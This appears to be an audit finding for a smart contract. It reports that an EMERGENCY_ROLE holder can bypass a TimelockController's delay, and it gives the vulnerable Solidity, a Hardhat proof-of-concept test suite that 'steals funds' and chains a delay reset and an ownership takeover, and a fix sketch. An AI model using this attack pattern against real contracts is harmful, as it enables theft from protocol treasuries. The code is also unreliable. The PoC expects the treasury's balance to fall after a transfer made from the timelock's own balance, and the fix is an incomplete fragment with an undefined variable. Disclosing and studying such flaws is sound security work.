The TimelockController contract contains a critical vulnerability where privileged roles can bypass timelock delays through unvalidated emergency actions, allowing instant execution of sensitive operations and undermining core security guarantees.
The TimelockController implements emergency action functionality that lacks proper validation and delay enforcement:
contract TimelockController {
mapping(bytes32 => bool) private _emergencyActions;
function executeEmergencyAction(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 predecessor,
bytes32 salt
) external payable onlyRole(EMERGENCY_ROLE) nonReentrant {
bytes32 id = hashOperationBatch(targets, values, calldatas, predecessor, salt);
if (!_emergencyActions[id]) revert EmergencyActionNotScheduled(id);
delete _emergencyActions[id];
for (uint256 i = 0; i < targets.length; i++) {
(bool success,) = targets[i].call{value: values[i]}(calldatas[i]);
if (!success) {
revert CallReverted(id, i);
}
}
}
function scheduleEmergencyAction(bytes32 id) external onlyRole(EMERGENCY_ROLE) {
_emergencyActions[id] = true;
emit EmergencyActionScheduled(id, block.timestamp);
}
}
The following detailed PoC demonstrates how a malicious admin can exploit this vulnerability to bypass timelock restrictions and extract value:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");
describe("TimelockController Emergency Bypass", function() {
let timelockController;
let token;
let owner;
let emergencyAdmin;
let user;
let treasury;
const TIMELOCK_DELAY = 48 * 3600;
const AMOUNT = ethers.utils.parseEther("1000000");
const ZERO_ADDRESS = ethers.constants.AddressZero;
const ZERO_HASH = ethers.constants.HashZero;
beforeEach(async function() {
[owner, emergencyAdmin, user, treasury] = await ethers.getSigners();
const Token = await ethers.getContractFactory("MockToken");
token = await Token.deploy("Test Token", "TEST");
await token.mint(treasury.address, AMOUNT.mul(10));
const TimelockController = await ethers.getContractFactory("TimelockController");
timelockController = await TimelockController.deploy(
TIMELOCK_DELAY,
[owner.address],
[owner.address],
owner.address
);
const EMERGENCY_ROLE = await timelockController.EMERGENCY_ROLE();
await timelockController.grantRole(EMERGENCY_ROLE, emergencyAdmin.address);
await token.connect(treasury).transferOwnership(timelockController.address);
});
it("Should prevent instant token transfer through normal timelock", async function() {
const transferCalldata = token.interface.encodeFunctionData(
"transfer",
[user.address, AMOUNT]
);
await expect(
timelockController.executeBatch(
[token.address],
[0],
[transferCalldata],
ZERO_HASH,
ethers.utils.id("normal")
)
).to.be.revertedWith("TimelockController: operation is not ready");
});
it("Should allow emergency admin to bypass timelock and steal funds", async function() {
console.log("\n=== Starting Emergency Bypass Attack ===");
const initialBalance = await token.balanceOf(treasury.address);
console.log(
`Initial treasury balance: ${ethers.utils.formatEther(initialBalance)} tokens`
);
const transferCalldata = token.interface.encodeFunctionData(
"transfer",
[user.address, AMOUNT]
);
const operationId = await timelockController.hashOperationBatch(
[token.address],
[0],
[transferCalldata],
ZERO_HASH,
ethers.utils.id("emergency")
);
console.log("\nScheduling emergency action...");
await timelockController
.connect(emergencyAdmin)
.scheduleEmergencyAction(operationId);
console.log("Executing emergency action instantly...");
await timelockController
.connect(emergencyAdmin)
.executeEmergencyAction(
[token.address],
[0],
[transferCalldata],
ZERO_HASH,
ethers.utils.id("emergency")
);
const finalTreasuryBalance = await token.balanceOf(treasury.address);
const userBalance = await token.balanceOf(user.address);
console.log("\n=== Attack Results ===");
console.log(`Treasury balance: ${ethers.utils.formatEther(finalTreasuryBalance)} tokens`);
console.log(`Stolen amount: ${ethers.utils.formatEther(userBalance)} tokens`);
expect(userBalance).to.equal(AMOUNT);
expect(finalTreasuryBalance).to.equal(initialBalance.sub(AMOUNT));
console.log("\nAttack successful! Timelock bypassed and funds stolen.");
});
it("Should demonstrate potential for multi-step governance attacks", async function() {
const actions = [
timelockController.interface.encodeFunctionData("updateDelay", [0]),
token.interface.encodeFunctionData("transferOwnership", [user.address]),
token.interface.encodeFunctionData("transfer", [user.address, AMOUNT])
];
for(let i = 0; i < actions.length; i++) {
const operationId = await timelockController.hashOperationBatch(
[i === 0 ? timelockController.address : token.address],
[0],
[actions[i]],
ZERO_HASH,
ethers.utils.id(`emergency-${i}`)
);
await timelockController
.connect(emergencyAdmin)
.scheduleEmergencyAction(operationId);
await timelockController
.connect(emergencyAdmin)
.executeEmergencyAction(
[i === 0 ? timelockController.address : token.address],
[0],
[actions[i]],
ZERO_HASH,
ethers.utils.id(`emergency-${i}`)
);
}
expect(await token.owner()).to.equal(user.address);
expect(await token.balanceOf(user.address)).to.equal(AMOUNT);
});
});
contract TimelockController {
enum EmergencyType { NONE, SECURITY, UPGRADE, PARAMETER }
uint256 public constant MIN_EMERGENCY_DELAY = 12 hours;
mapping(bytes32 => EmergencyType) public emergencyReasons;
mapping(EmergencyType => uint256) public emergencyThresholds;
function scheduleEmergencyAction(
bytes32 id,
EmergencyType emergencyType,
string calldata justification
) external onlyRole(EMERGENCY_ROLE) {
require(emergencyType != EmergencyType.NONE, "Invalid emergency");
emergencyReasons[id] = emergencyType;
emit EmergencyActionScheduled(id, emergencyType, justification);
}
function executeEmergencyAction(...) {
require(
block.timestamp >= scheduledTime + MIN_EMERGENCY_DELAY,
"Emergency delay not met"
);
require(
values[0] <= emergencyThresholds[emergencyType],
"Exceeds threshold"
);
}
}